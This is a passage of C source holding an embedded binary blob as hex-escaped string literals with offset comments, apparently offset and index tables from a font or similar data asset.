//H...Y...d...|... /* 004400 */ "\x8A\xB0\x00\x00\xA6\xB0\x00\x00\xB0\xB0\x00\x00\xC5\xB0\x00\x00" //............Å... /* 004420 */ "\xDC\xB0\x00\x00\xFF\xB0\x00\x00\x28\xB1\x00\x00\x4A\xB1\x00\x00" //Ü...ÿ...(...J... /* 004440 */ "\x66\xB1\x00\x00\x83\xB1\x00\x00\x9A\xB1\x00\x00\xA9\xB1\x00\x00" //f............... /* 004460 */ "\xB6\xB1\x00\x00\xC5\xB1\x00\x00\xD2\xB1\x00\x00\xE4\xB1\x00\x00" //....Å...Ò...ä... /* 004480 */ "\xF0\xB1\x00\x00\x13\xB2\x00\x00\x2E\xB2\x00\x00\x3A\xB2\x00\x00" //ð...........:... /* 0044A0 */ "\x4A\xB2\x00\x00\x62\xB2\x00\x00\x7B\xB2\x00\x00\x90\xB2\x00\x00" //J...b...{....... /* 0044C0 */ "\xA2\xB2\x00\x00\xAE\xB2\x00\x00\xC3\xB2\x00\x00\xD9\xB2\x00\x00" //........Ã...Ù... /* 0044E0 */ "\xE5\xB2\x00\x00\xF3\xB2\x00\x00\x0F\xB3\x00\x00\x27\xB3\x00\x00" //å...ó.......'... /* 004500 */ "\x3C\xB3\x00\x00\x58\xB3\x00\x00\x68\xB3\x00\x00\x7E\xB3\x00\x00" //<...X...h...~... /* 004520 */ "\x95\xB3\x00\x00\xA3\xB3\x00\x00\xB7\xB3\x00\x00\xC9\xB3\x00\x00" //............É... /* 004540 */ "\xE3\xB3\x00\x00\xFE\xB3\x00\x00\x1A\xB4\x00\x00\x35\xB4\x00\x00" //ã...þ.......5... /* 004560 */ "\x51\xB4\x00\x00\x6C\xB4\x00\x00\x80\xB4\x00\x00\x94\xB4\x00\x00" //Q...l........... /* 004580 */ "\xA2\xB4\x00\x00\xBD\xB4\x00\x00\xD1\xB4\x00\x00\xF2\xB4\x00\x00" //........Ñ...ò... /* 0045A0 */ "\x10\xB5\x00\x00\x3B\xB5\x00\x00\x6E\xB5\x00\x00\x78\xB5\x00\x00" //....;...n...x... /* 0045C0 */ "\x87\xB5\x00\x00\x9B\xB5\x00\x00\xB3\xB5\x00\x00\xC7\xB5\x00\x00" //............Ç... /* 0045E0 */ "\xD5\xB5\x00\x00\xEF\xB5\x00\x00\x0B\xB6\x00\x00\x1B\xB6\x00\x00" //Õ...ï........... /* 004600 */ "\x33\xB6\x00\x00\x4B\xB6\x00\x00\x66\xB6\x00\x00\x77\xB6\x00\x00" //3...K...f...w... /* 004620 */ "\x93\xB6\x00\x00\xA2\xB6\x00\x00\xB0\xB6\x00\x00\xBD\xB6\x00\x00" //................ /* 004640 */ "\xC5\xB6\x00\x00\xDD\xB6\x00\x00\xEB\xB6\x00\x00\xFB\xB6\x00\x00" //Å...Ý...ë...û... /* 004660 */ "\x11\xB7\x00\x00\x1F\xB7\x00\x00\x2D\xB7\x00\x00\x38\xB7\x00\x00" //........-...8... /* 004680 */ "\x4C\xB7\x00\x00\x64\xB7\x00\x00\x72\xB7\x00\x00\x84\xB7\x00\x00" //L...d...r....... /* 0046A0 */ "\x91\xB7\x00\x00\xA6\xB7\x00\x00\xB8\xB7\x00\x00\xC7\xB7\x00\x00" //............Ç... /* 0046C0 */ "\xD3\xB7\x00\x00\xE6\xB7\x00\x00\xFB\xB7\x00\x00\x0A\xB8\x00\x00" //Ó...æ...û....... /* 0046E0 */ "\x20\xB8\x00\x00\x33\xB8\x00\x00\x40\xB8\x00\x00\x50\xB8\x00\x00" //....3...@...P... /* 004700 */ "\x62\xB8\x00\x00\x72\xB8\x00\x00\x82\xB8\x00\x00\x94\xB8\x00\x00" //b...r........... /* 004720 */ "\xAF\xB8\x00\x00\xBE\xB8\x00\x00\xCC\xB8\x00\x00\xDA\xB8\x00\x00" //........Ì...Ú... /* 004740 */ "\xEF\xB8\x00\x00\x04\xB9\x00\x00\x14\xB9\x00\x00\x25\xB9\x00\x00" //ï...........%... /* 004760 */ "\x32\xB9\x00\x00\x44\xB9\x00\x00\x51\xB9\x00\x00\x5D\xB9\x00\x00" //2...D...Q...]... /* 004780 */ "\x76\xB9\x00\x00\x87\xB9\x00\x00\x9D\xB9\x00\x00\xAD\xB9\x00\x00" //v............... /* 0047A0 */ "\xBF\xB9\x00\x00\xD0\xB9\x00\x00\xE7\xB9\x00\x00\xF6\xB9\x00\x00" //....Ð...ç...ö... /* 0047C0 */ "\x1B\xBA\x00\x00\x2F\xBA\x00\x00\x3F\xBA\x00\x00\x4D\xBA\x00\x00" //..../...?...M... /* 0047E0 */ "\x58\xBA\x00\x00\x6B\xBA\x00\x00\x83\xBA\x00\x00\x8E\xBA\x00\x00" //X...k........... /* 004800 */ "\xA3\xBA\x00\x00\xB6\xBA\x00\x00\xCE\xBA\x00\x00\xE2\xBA\x00\x00" //........Î...â... /* 004820 */ "\xF2\xBA\x00\x00\x05\xBB\x00\x00\x1B\xBB\x00\x00\x2E\xBB\x00\x00" //ò............... /* 004840 */ "\x3E\xBB\x00\x00\x5A\xBB\x00\x00\x74\xBB\x00\x00\x88\xBB\x00\x00" //>...Z...t....... /* 004860 */ "\x9D\xBB\x00\x00\xB3\xBB\x00\x00\xC4\xBB\x00\x00\xDE\xBB\x00\x00" //........Ä...Þ... /* 004880 */ "\xEB\xBB\x00\x00\xF8\xBB\x00\x00\x02\xBC\x00\x00\x0D\xBC\x00\x00" //ë...ø........... /* 0048A0 */ "\x18\xBC\x00\x00\x34\xBC\x00\x00\x46\xBC\x00\x00\x5A\xBC\x00\x00" //....4...F...Z... /* 0048C0 */ "\x70\xBC\x00\x00\x86\xBC\x00\x00\x9D\xBC\x00\x00\xBB\xBC\x00\x00" //p............... /* 0048E0 */ "\xCE\xBC\x00\x00\xE0\xBC\x00\x00\xFC\xBC\x00\x00\x0E\xBD\x00\x00" //Î...à...ü....... /* 004900 */ "\x29\xBD\x00\x00\x3F\xBD\x00\x00\x4B\xBD\x00\x00\x5B\xBD\x00\x00" //)...?...K...[... /* 004920 */ "\x66\xBD\x00\x00\x79\xBD\x00\x00\x89\xBD\x00\x00\x93\xBD\x00\x00" //f...y........... /* 004940 */ "\xA4\xBD\x00\x00\xB1\xBD\x00\x00\xC8\xBD\x00\x00\xD6\xBD\x00\x00" //........È...Ö... /* 004960 */ "\xE9\xBD\x00\x00\xFE\xBD\x00\x00\x0C\xBE\x00\x00\x1C\xBE\x00\x00" //é...þ........... /* 004980 */ "\x35\xBE\x00\x00\x42\xBE\x00\x00\x54\xBE\x00\x00\x68\xBE\x00\x00" //5...B...T...h... /* 0049A0 */ "\x74\xBE\x00\x00\x86\xBE\x00\x00\x99\xBE\x00\x00\xAA\xBE\x00\x00" //t............... /* 0049C0 */ "\xC6\xBE\x00\x00\xE4\xBE\x00\x00\xFB\xBE\x00\x00\x08\xBF\x00\x00" //Æ...ä...û....... /* 0049E0 */ "\x1E\xBF\x00\x00\x34\xBF\x00\x00\x47\xBF\x00\x00\x5F\xBF\x00\x00" //....4...G..._... /* 004A00 */ "\x74\xBF\x00\x00\x8D\xBF\x00\x00\xA2\xBF\x00\x00\xB9\xBF\x00\x00" //t............... /* 004A20 */ "\xC7\xBF\x00\x00\xD4\xBF\x00\x00\xEE\xBF\x00\x00\x05\xC0\x00\x00" //Ç...Ô...î....À.. /* 004A40 */ "\x1C\xC0\x00\x00\x38\xC0\x00\x00\x4F\xC0\x00\x00\x69\xC0\x00\x00" //.À..8À..OÀ..iÀ.. /* 004A60 */ "\x82\xC0\x00\x00\x9A\xC0\x00\x00\xB3\xC0\x00\x00\xCA\xC0\x00\x00" //.À...À...À..ÊÀ.. /* 004A80 */ "\xDE\xC0\x00\x00\xE9\xC0\x00\x00\x01\xC1\x00\x00\x0F\xC1\x00\x00" //ÞÀ..éÀ...Á...Á.. /* 004AA0 */ "\x1D\xC1\x00\x00\x30\xC1\x00\x00\x4A\xC1\x00\x00\x68\xC1\x00\x00" //.Á..0Á..JÁ..hÁ.. /* 004AC0 */ "\x84\xC1\x00\x00\x93\xC1\x00\x00\xA9\xC1\x00\x00\xBA\xC1\x00\x00" //.Á...Á...Á...Á.. /* 004AE0 */ "\xD4\xC1\x00\x00\xF2\xC1\x00\x00\x12\xC2\x00\x00\x2B\xC2\x00\x00" //ÔÁ..òÁ...Â..+Â.. /* 004B00 */ "\x3D\xC2\x00\x00\x4A\xC2\x00\x00\x61\xC2\x00\x00\x71\xC2\x00\x00" //=Â..JÂ..aÂ..qÂ.. /* 004B20 */ "\x86\xC2\x00\x00\xA3\xC2\x00\x00\xB4\xC2\x00\x00\xC5\xC2\x00\x00" //.Â...Â...Â..ÅÂ.. /* 004B40 */ "\xD6\xC2\x00\x00\xE1\xC2\x00\x00\xF3\xC2\x00\x00\x05\xC3\x00\x00" //ÖÂ..áÂ..óÂ...Ã.. /* 004B60 */ "\x19\xC3\x00\x00\x37\xC3\x00\x00\x4B\xC3\x00\x00\x5B\xC3\x00\x00" //.Ã..7Ã..KÃ..[Ã.. /* 004B80 */ "\x6E\xC3\x00\x00\x83\xC3\x00\x00\x98\xC3\x00\x00\xA4\xC3\x00\x00" //nÃ...Ã...Ã...Ã.. /* 004BA0 */ "\xB1\xC3\x00\x00\xBD\xC3\x00\x00\xD4\xC3\x00\x00\xED\xC3\x00\x00" //.Ã...Ã..ÔÃ..íÃ.. /* 004BC0 */ "\x02\xC4\x00\x00\x18\xC4\x00\x00\x26\xC4\x00\x00\x3D\xC4\x00\x00" //.Ä...Ä..&Ä..=Ä.. /* 004BE0 */ "\x54\xC4\x00\x00\x61\xC4\x00\x00\x73\xC4\x00\x00\x80\xC4\x00\x00" //TÄ..aÄ..sÄ...Ä.. /* 004C00 */ "\x90\xC4\x00\x00\x9F\xC4\x00\x00\xA9\xC4\x00\x00\xB5\xC4\x00\x00" //.Ä...Ä...Ä...Ä.. /* 004C20 */ "\xC6\xC4\x00\x00\xDA\xC4\x00\x00\xEE\xC4\x00\x00\xFF\xC4\x00\x00" //ÆÄ..ÚÄ..îÄ..ÿÄ.. /* 004C40 */ "\x12\xC5\x00\x00\x28\xC5\x00\x00\x42\xC5\x00\x00\x55\xC5\x00\x00" //.Å..(Å..BÅ..UÅ.. /* 004C60 */ "\x6C\xC5\x00\x00\x78\xC5\x00\x00\x83\xC5\x00\x00\x9B\xC5\x00\x00" //lÅ..xÅ...Å...Å.. /* 004C80 */ "\xAE\xC5\x00\x00\xC8\xC5\x00\x00\xE4\xC5\x00\x00\xF9\xC5\x00\x00" //.Å..ÈÅ..äÅ..ùÅ.. /* 004CA0 */ "\x13\xC6\x00\x00\x27\xC6\x00\x00\x3E\xC6\x00\x00\x56\xC6\x00\x00" //.Æ..'Æ..>Æ..VÆ.. /* 004CC0 */ "\x6D\xC6\x00\x00\x83\xC6\x00\x00\x98\xC6\x00\x00\xAA\xC6\x00\x00" //mÆ...Æ...Æ...Æ.. /* 004CE0 */ "\xBA\xC6\x00\x00\xCC\xC6\x00\x00\xE6\xC6\x00\x00\x00\xC7\x00\x00" //.Æ..ÌÆ..æÆ...Ç.. /* 004D00 */ "\x14\xC7\x00\x00\x30\xC7\x00\x00\x4E\xC7\x00\x00\x65\xC7\x00\x00" //.Ç..0Ç..NÇ..eÇ.. /* 004D20 */ "\x7B\xC7\x00\x00\x8B\xC7\x00\x00\xA5\xC7\x00\x00\xB0\xC7\x00\x00" //{Ç...Ç...Ç...Ç.. /* 004D40 */ "\xC5\xC7\x00\x00\xD3\xC7\x00\x00\xE1\xC7\x00\x00\xFC\xC7\x00\x00" //ÅÇ..ÓÇ..áÇ..üÇ.. /* 004D60 */ "\x0D\xC8\x00\x00\x2C\xC8\x00\x00\x3B\xC8\x00\x00\x49\xC8\x00\x00" //.È..,È..;È..IÈ.. /* 004D80 */ "\x5A\xC8\x00\x00\x6A\xC8\x00\x00\x7F\xC8\x00\x00\x94\xC8\x00\x00" //ZÈ..jÈ...È...È.. /* 004DA0 */ "\xA7\xC8\x00\x00\xB9\xC8\x00\x00\xC5\xC8\x00\x00\xD2\xC8\x00\x00" //.È...È..ÅÈ..ÒÈ.. /* 004DC0 */ "\xE6\xC8\x00\x00\xF5\xC8\x00\x00\x01\xC9\x00\x00\x0F\xC9\x00\x00" //æÈ..õÈ...É...É.. /* 004DE0 */ "\x1C\xC9\x00\x00\x32\xC9\x00\x00\x47\xC9\x00\x00\x54\xC9\x00\x00" //.É..2É..GÉ..TÉ.. /* 004E00 */ "\x68\xC9\x00\x00\x7C\xC9\x00\x00\x95\xC9\x00\x00\xAB\xC9\x00\x00" //hÉ..|É...É...É.. /* 004E20 */ "\xBF\xC9\x00\x00\xD2\xC9\x00\x00\xDE\xC9\x00\x00\xF0\xC9\x00\x00" //.É..ÒÉ..ÞÉ..ðÉ.. /* 004E40 */ "\x03\xCA\x00\x00\x18\xCA\x00\x00\x29\xCA\x00\x00\x30\xCA\x00\x00" //.Ê...Ê..)Ê..0Ê.. /* 004E60 */ "\x37\xCA\x00\x00\x3E\xCA\x00\x00\x45\xCA\x00\x00\x4D\xCA\x00\x00" //7Ê..>Ê..EÊ..MÊ.. /* 004E80 */ "\x57\xCA\x00\x00\x60\xCA\x00\x00\x6A\xCA\x00\x00\x74\xCA\x00\x00" //WÊ..`Ê..jÊ..tÊ.. /* 004EA0 */ "\x7C\xCA\x00\x00\x85\xCA\x00\x00\x8D\xCA\x00\x00\x9B\xCA\x00\x00" //|Ê...Ê...Ê...Ê.. /* 004EC0 */ "\xA3\xCA\x00\x00\xAB\xCA\x00\x00\xB3\xCA\x00\x00\xBB\xCA\x00\x00" //.Ê...Ê...Ê...Ê.. /* 004EE0 */ "\xC4\xCA\x00\x00\xCE\xCA\x00\x00\xD7\xCA\x00\x00\xE0\xCA\x00\x00" //ÄÊ..ÎÊ..×Ê..àÊ.. /* 004F00 */ "\xE8\xCA\x00\x00\xF1\xCA\x00\x00\xF7\xCA\x00\x00\xFF\xCA\x00\x00" //èÊ..ñÊ..÷Ê..ÿÊ.. /* 004F20 */ "\x07\xCB\x00\x00\x0D\xCB\x00\x00\x13\xCB\x00\x00\x1A\xCB\x00\x00" //.Ë...Ë...Ë...Ë.. /* 004F40 */ "\x20\xCB\x00\x00\x26\xCB\x00\x00\x2F\xCB\x00\x00\x38\xCB\x00\x00" //.Ë..&Ë../Ë..8Ë.. /* 004F60 */ "\x42\xCB\x00\x00\x4D\xCB\x00\x00\x58\xCB\x00\x00\x61\xCB\x00\x00" //BË..MË..XË..aË.. /* 004F80 */ "\x6A\xCB\x00\x00\x72\xCB\x00\x00\x7C\xCB\x00\x00\x84\xCB\x00\x00" //jË..rË..|Ë...Ë.. /* 004FA0 */ "\x8D\xCB\x00\x00\x96\xCB\x00\x00\x9F\xCB\x00\x00\xA8\xCB\x00\x00" //.Ë...Ë...Ë...Ë.. /* 004FC0 */ "\xAF\xCB\x00\x00\xB6\xCB\x00\x00\xC1\xCB\x00\x00\xCD\xCB\x00\x00" //.Ë...Ë..ÁË..ÍË.. /* 004FE0 */ "\xD6\xCB\x00\x00\xDE\xCB\x00\x00\xE8\xCB\x00\x00\xF0\xCB\x00\x00" //ÖË..ÞË..èË..ðË.. /* 005000 */ "\xF6\xCB\x00\x00\xFE\xCB\x00\x00\x04\xCC\x00\x00\x08\xCC\x00\x00" //öË..þË...Ì...Ì.. /* 005020 */ "\x0D\xCC\x00\x00\x12\xCC\x00\x00\x17\xCC\x00\x00\x1F\xCC\x00\x00" //.Ì...Ì...Ì...Ì.. /* 005040 */ "\x24\xCC\x00\x00\x28\xCC\x00\x00\x2D\xCC\x00\x00\x33\xCC\x00\x00" //$Ì..(Ì..-Ì..3Ì.. /* 005060 */ "\x3B\xCC\x00\x00\x43\xCC\x00\x00\x4B\xCC\x00\x00\x53\xCC\x00\x00" //;Ì..CÌ..KÌ..SÌ.. /* 005080 */ "\x5B\xCC\x00\x00\x63\xCC\x00\x00\x6B\xCC\x00\x00\x73\xCC\x00\x00" //[Ì..cÌ..kÌ..sÌ.. /* 0050A0 */ "\x7B\xCC\x00\x00\x83\xCC\x00\x00\x8C\xCC\x00\x00\x95\xCC\x00\x00" //{Ì...Ì...Ì...Ì.. /* 0050C0 */ "\x9E\xCC\x00\x00\xA7\xCC\x00\x00\xB0\xCC\x00\x00\xBA\xCC\x00\x00" //.Ì...Ì...Ì...Ì.. /* 0050E0 */ "\xC3\xCC\x00\x00\xC8\xCC\x00\x00\xCC\xCC\x00\x00\xD5\xCC\x00\x00" //ÃÌ..ÈÌ..ÌÌ..ÕÌ.. /* 005100 */ "\xDC\xCC\x00\x00\xE3\xCC\x00\x00\xEA\xCC\x00\x00\xF2\xCC\x00\x00" //ÜÌ..ãÌ..êÌ..òÌ.. /* 005120 */ "\xF9\xCC\x00\x00\xFD\xCC\x00\x00\x03\xCD\x00\x00\x07\xCD\x00\x00" //ùÌ..ýÌ...Í...Í.. /* 005140 */ "\x0F\xCD\x00\x00\x14\xCD\x00\x00\x1B\xCD\x00\x00\x22\xCD\x00\x00" //.Í...Í...Í.."Í.. /* 005160 */ "\x29\xCD\x00\x00\x30\xCD\x00\x00\x37\xCD\x00\x00\x3F\xCD\x00\x00" //)Í..0Í..7Í..?Í.. /* 005180 */ "\x46\xCD\x00\x00\x4E\xCD\x00\x00\x56\xCD\x00\x00\x5E\xCD\x00\x00" //FÍ..NÍ..VÍ..^Í.. /* 0051A0 */ "\x66\xCD\x00\x00\x6E\xCD\x00\x00\x75\xCD\x00\x00\x7C\xCD\x00\x00" //fÍ..nÍ..uÍ..|Í.. /* 0051C0 */ "\x83\xCD\x00\x00\x8B\xCD\x00\x00\x94\xCD\x00\x00\x98\xCD\x00\x00" //.Í...Í...Í...Í.. /* 0051E0 */ "\xA0\xCD\x00\x00\xA8\xCD\x00\x00\xB1\xCD\x00\x00\xBA\xCD\x00\x00" //.Í...Í...Í...Í.. /* 005200 */ "\xC6\xCD\x00\x00\xDC\xCD\x00\x00\xE5\xCD\x00\x00\xEC\xCD\x00\x00" //ÆÍ..ÜÍ..åÍ..ìÍ.. /* 005220 */ "\xF3\xCD\x00\x00\xFA\xCD\x00\x00\x01\xCE\x00\x00\x09\xCE\x00\x00" //óÍ..úÍ...Î...Î.. /* 005240 */ "\x10\xCE\x00\x00\x18\xCE\x00\x00\x20\xCE\x00\x00\x28\xCE\x00\x00" //.Î...Î...Î..(Î.. /* 005260 */ "\x30\xCE\x00\x00\x38\xCE\x00\x00\x3F\xCE\x00\x00\x46\xCE\x00\x00" //0Î..8Î..?Î..FÎ.. /* 005280 */ "\x4D\xCE\x00\x00\x56\xCE\x00\x00\x07\x00\x08\x00\x09\x00\x0A\x00" //MÎ..VÎ.......... /* 0052A0 */ "\x0B\x00\x0C\x00\x0D\x00\x0E\x00\x0F\x00\x10\x00\x11\x00\x12\x00" //................ /* 0052C0 */ "\x13\x00\x14\x00\x15\x00\x16\x00\x17\x00\x18\x00\x19\x00\x1A\x00" //................ /* 0052E0 */ "\x1B\x00\x1C\x00\x1D\x00\x1E\x00\x1F\x00\x20\x00\x21\x00\x22\x00" //............!.". /* 005300 */ "\x23\x00\x24\x00\x25\x00\x26\x00\x27\x00\x28\x00\x29\x00\x2A\x00" //#.$.%.&.'.(.).*. /* 005320 */ "\x2B\x00\x2C\x00\x2D\x00\x2E\x00\x2F\x00\x30\x00\x31\x00\x32\x00" //+.,.-.../.0.1.2. /* 005340 */ "\x33\x00\x34\x00\x35\x00\x36\x00\x37\x00\x38\x00\x39\x00\x3A\x00" //3.4.5.6.7.8.9.:. /* 005360 */ "\x3B\x00\x3C\x00\x3D\x00\x3E\x00\x3F\x00\x40\x00\x41\x00\x42\x00" //;.<.=.>.?.@.A.B. /* 005380 */ "\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x48\x00\x49\x00\x4A\x00" //C.D.E.F.G.H.I.J. /* 0053A0 */ "\x4B\x00\x4C\x00\x4D\x00\x4E\x00\x4F\x00\x50\x00\x51\x00\x52\x00" //K.L.M.N.O.P.Q.R. /* 0053C0 */ "\x53\x00\x54\x00\x55\x00\x56\x00\x57\x00\x58\x00\x59\x00\x5A\x00" //S.T.U.V.W.X.Y.Z. /* 0053E0 */ "\x5B\x00\x5C\x00\x5D\x00\x5E\x00\x5F\x00\x60\x00\x61\x00\x62\x00" //[.\.].^._.`.a.b. /* 005400 */ "\x63\x00\x64\x00\x65\x00\x66\x00\x67\x00\x68\x00\x69\x00\x6A\x00" //c.d.e.f.g.h.i.j. /* 005420 */ "\x6B\x00\x6C\x00\x6D\x00\x6E\x00\x6F\x00\x70\x00\x71\x00\x72\x00" //k.l.m.n.o.p.q.r. /* 005440 */ "\x73\x00\x74\x00\x75\x00\x76\x00\x77\x00\x78\x00\x79\x00\x7A\x00" //s.t.u.v.w.x.y.z. /* 005460 */ "\x7B\x00\x7C\x00\x7D\x00\x7E\x00\x7F\x00\x80\x00\x81\x00\x82\x00" //{.|.}.~......... /* 005480 */ "\x83\x00\x84\x00\x85\x00\x86\x00\x87\x00\x88\x00\x89\x00\x8A\x00" //................ /* 0054A0 */ "\x8B\x00\x8C\x00\x8D\x00\x8E\x00\x8F\x00\x90\x00\x91\x00\x92\x00" //................ /* 0054C0 */ "\x93\x00\x94\x00\x95\x00\x96\x00\x97\x00\x98\x00\x99\x00\x9A\x00" //................ /* 0054E0 */ "\x9B\x00\x9C\x00\x9D\x00\x9E\x00\x9F\x00\xA0\x00\xA1\x00\xA2\x00" //................ /* 005500 */ "\xA3\x00\xA4\x00\xA5\x00\xA6\x00\xA7\x00\xA8\x00\xA9\x00\xAA\x00" //................ /* 005520 */ "\xAB\x00\xAC\x00\xAD\x00\xAE\x00\xAF\x00\xB0\x00\xB1\x00\xB2\x00" //................ /* 005540 */ "\xB3\x00\xB4\x00\xB5\x00\xB6\x00\xB7\x00\xB8\x00\xBA\x00\xB9\x00" //................ /* 005560 */ "\xBB\x00\xBC\x00\xBD\x00\xBE\x00\xBF\x00\xC0\x00\xC1\x00\xC2\x00" //..........À.Á.Â. /* 005580 */ "\xC3\x00\xC4\x00\xC5\x00\xC6\x00\xC7\x00\xC8\x00\xC9\x00\xCA\x00" //Ã.Ä.Å.Æ.Ç.È.É.Ê. /* 0055A0 */ "\xCB\x00\xCC\x00\xCD\x00\xCE\x00\xCF\x00\xD0\x00\xD1\x00\xD2\x00" //Ë.Ì.Í.Î.Ï.Ð.Ñ.Ò. /* 0055C0 */ "\xD3\x00\xD4\x00\xD5\x00\xD6\x00\xD7\x00\xD8\x00\xD9\x00\xDA\x00" //Ó.Ô.Õ.Ö.×.Ø.Ù.Ú. /* 0055E0 */ "\xDB\x00\xDC\x00\xDD\x00\xDE\x00\xDF\x00\xE0\x00\xE1\x00\xE2\x00" //Û.Ü.Ý.Þ.ß.à.á.â. /* 005600 */ "\xE3\x00\xE4\x00\xE5\x00\xE6\x00\xE7\x00\xE8\x00\xE9\x00\xEA\x00" //ã.ä.å.æ.ç.è.é.ê. /* 005620 */ "\xEB\x00\xEC\x00\xED\x00\xEE\x00\xEF\x00\xF0\x00\xF1\x00\xF2\x00" //ë.ì.í.î.ï.ð.ñ.ò. /* 005640 */ "\xF3\x00\xF4\x00\xF5\x00\xF6\x00\xF7\x00\xF8\x00\xF9\x00\xFA\x00" //ó.ô.õ.ö.÷.ø.ù.ú. /* 005660 */ "\xFB\x00\xFC\x00\xFD\x00\xFE\x00\xFF\x00\x00\x01\x01\x01\x02\x01" //û.ü.ý.þ.ÿ....... /* 005680 */ "\x03\x01\x04\x01\x05\x01\x06\x01\x07\x01\x08\x01\x09\x01\x0A\x01" //................ /* 0056A0 */ "\x0B\x01\x0C\x01\x0D\x01\x0E\x01\x0F\x01\x10\x01\x11\x01\x12\x01" //................ /* 0056C0 */ "\x13\x01\x14\x01\x15\x01\x16\x01\x17\x01\x18\x01\x19\x01\x1A\x01" //................ /* 0056E0 */ "\x1B\x01\x1C\x01\x1D\x01\x1E\x01\x1F\x01\x20\x01\x21\x01\x22\x01" //............!.". /* 005700 */ "\x23\x01\x24\x01\x25\x01\x26\x01\x27\x01\x28\x01\x29\x01\x2A\x01" //#.$.%.&.'.(.).*. /* 005720 */ "\x2B\x01\x2C\x01\x2D\x01\x2E\x01\x2F\x01\x30\x01\x31\x01\x32\x01" //+.,.-.../.0.1.2. /* 005740 */ "\x33\x01\x34\x01\x35\x01\x36\x01\x37\x01\x38\x01\x39\x01\x3A\x01" //3.4.5.6.7.8.9.:. /* 005760 */ "\x3B\x01\x3C\x01\x3D\x01\x3E\x01\x3F\x01\x40\x01\x41\x01\x42\x01" //;.<.=.>.?.@.A.B. /* 005780 */ "\x43\x01\x44\x01\x45\x01\x46\x01\x47\x01\x48\x01\x49\x01\x4A\x01" //C.D.E.F.G.H.I.J. /* 0057A0 */ "\x4B\x01\x4C\x01\x4D\x01\x4E\x01\x4F\x01\x50\x01\x51\x01\x52\x01" //K.L.M.N.O.P.Q.R. /* 0057C0 */ "\x53\x01\x54\x01\x55\x01\x56\x01\x57\x01\x58\x01\x59\x01\x5A\x01" //S.T.U.V.W.X.Y.Z. /* 0057E0 */ "\x5B\x01\x5C\x01\x5D\x01\x5E\x01\x5F\x01\x60\x01\x61\x01\x62\x01" //[.\.].^._.`.a.b. /* 005800 */ "\x63\x01\x64\x01\x65\x01\x66\x01\x67\x01\x68\x01\x69\x01\x6A\x01" //c.d.e.f.g.h.i.j. /* 005820 */ "\x6B\x01\x6C\x01\x6D\x01\x6E\x01\x6F\x01\x70\x01\x71\x01\x72\x01" //k.l.m.n.o.p.q.r. /* 005840 */ "\x73\x01\x74\x01\x75\x01\x00\x00\x76\x01\x77\x01\x78\x01\x79\x01" //s.t.u...v.w.x.y. /* 005860 */ "\x7A\x01\x7B\x01\x7C\x01\x7D\x01\x7E\x01\x7F\x01\x80\x01\x81\x01" //z.{.|.}.~....... /* 005880 */ "\x82\x01\x83\x01\x84\x01\x85\x01\x86\x01\x87\x01\x88\x01\x89\x01" //................ /* 0058A0 */ "\x8A\x01\x8B\x01\x8C\x01\x8D\x01\x8E\x01\x8F\x01\x90\x01\x91\x01" //................ /* 0058C0 */ "\x92\x01\x93\x01\x94\x01\x95\x01\x96\x01\x97\x01\x98\x01\x99\x01" //................ /* 0058E0 */ "\x9A\x01\x9B\x01\x9C\x01\x9D\x01\x9E\x01\x9F\x01\xA0\x01\xA1\x01" //................ /* 005900 */ "\xA2\x01\xA3\x01\xA5\x01\xA4\x01\xA6\x01\xA7\x01\xA8\x01\xA9\x01" //................ /* 005920 */ "\xAA\x01\xAB\x01\xAC\x01\xAD\x01\xAE\x01\xAF\x01\xB0\x01\xB1\x01" //................ /* 005940 */ "\xB2\x01\xB3\x01\xB4\x01\xB5\x01\xB6\x01\xB7\x01\xB8\x01\xB9\x01" //................ /* 005960 */ "\xBA\x01\xBB\x01\xBC\x01\xBD\x01\x01\x00\xBE\x01\xBF\x01\xC0\x01" //..............À. /* 005980 */ "\xC1\x01\xC2\x01\x02\x00\xC3\x01\xC4\x01\xC5\x01\xC6\x01\xC7\x01" //Á.Â...Ã.Ä.Å.Æ.Ç. /* 0059A0 */ "\xC8\x01\xC9\x01\xCA\x01\xCB\x01\xCC\x01\xCD\x01\xCE\x01\xCF\x01" //È.É.Ê.Ë.Ì.Í.Î.Ï. /* 0059C0 */ "\xD0\x01\xD1\x01\xD2\x01\xD3\x01\xD4\x01\xD5\x01\xD6\x01\xD7\x01" //Ð.Ñ.Ò.Ó.Ô.Õ.Ö.×. /* 0059E0 */ "\xD8\x01\xD9\x01\xDA\x01\xDB\x01\xDC\x01\xDD\x01\xDE\x01\xDF\x01" //Ø.Ù.Ú.Û.Ü.Ý.Þ.ß. /* 005A00 */ "\xE0\x01\xE1\x01\xE2\x01\xE3\x01\xE4\x01\xE5\x01\xE6\x01\xE7\x01" //à.á.â.ã.ä.å.æ.ç. /* 005A20 */ "\xE8\x01\xE9\x01\xEA\x01\xEB\x01\xEC\x01\xED\x01\xEE\x01\xEF\x01" //è.é.ê.ë.ì.í.î.ï. /* 005A40 */ "\xF0\x01\xF1\x01\xF2\x01\xF3\x01\xF4\x01\xF5\x01\xF6\x01\xF7\x01" //ð.ñ.ò.ó.ô.õ.ö.÷. /* 005A60 */ "\xF8\x01\xF9\x01\xFA\x01\xFB\x01\xFC\x01\xFD\x01\xFE\x01\xFF\x01" //ø.ù.ú.û.ü.ý.þ.ÿ. /* 005A80 */ "\x00\x02\x01\x02\x02\x02\x03\x02\x04\x02\x05\x02\x06\x02\x07\x02" //................ /* 005AA0 */ "\x08\x02\x09\x02\x0A\x02\x0B\x02\x0C\x02\x0D\x02\x0E\x02\x0F\x02" //................ /* 005AC0 */ "\x10\x02\x11\x02\x12\x02\x13\x02\x14\x02\x15\x02\x16\x02\x17\x02" //................ /* 005AE0 */ "\x18\x02\x19\x02\x1A\x02\x1B\x02\x1C\x02\x1D\x02\x1E\x02\x1F\x02" //................ /* 005B00 */ "\x20\x02\x21\x02\x22\x02\x23\x02\x24\x02\x25\x02\x26\x02\x27\x02" //..!.".#.$.%.&.'. /* 005B20 */ "\x28\x02\x29\x02\x2A\x02\x2B\x02\x2C\x02\x2D\x02\x2E\x02\x2F\x02" //(.).*.+.,.-.../. /* 005B40 */ "\x30\x02\x31\x02\x32\x02\x33\x02\x34\x02\x35\x02\x36\x02\x37\x02" //0.1.2.3.4.5.6.7. /* 005B60 */ "\x38\x02\x39\x02\x3A\x02\x3B\x02\x3C\x02\x3D\x02\x3E\x02\x3F\x02" //8.9.:.;.<.=.>.?. /* 005B80 */ "\x40\x02\x41\x02\x42\x02\x43\x02\x44\x02\x45\x02\x46\x02\x47\x02" //@.A.B.C.D.E.F.G. /* 005BA0 */ 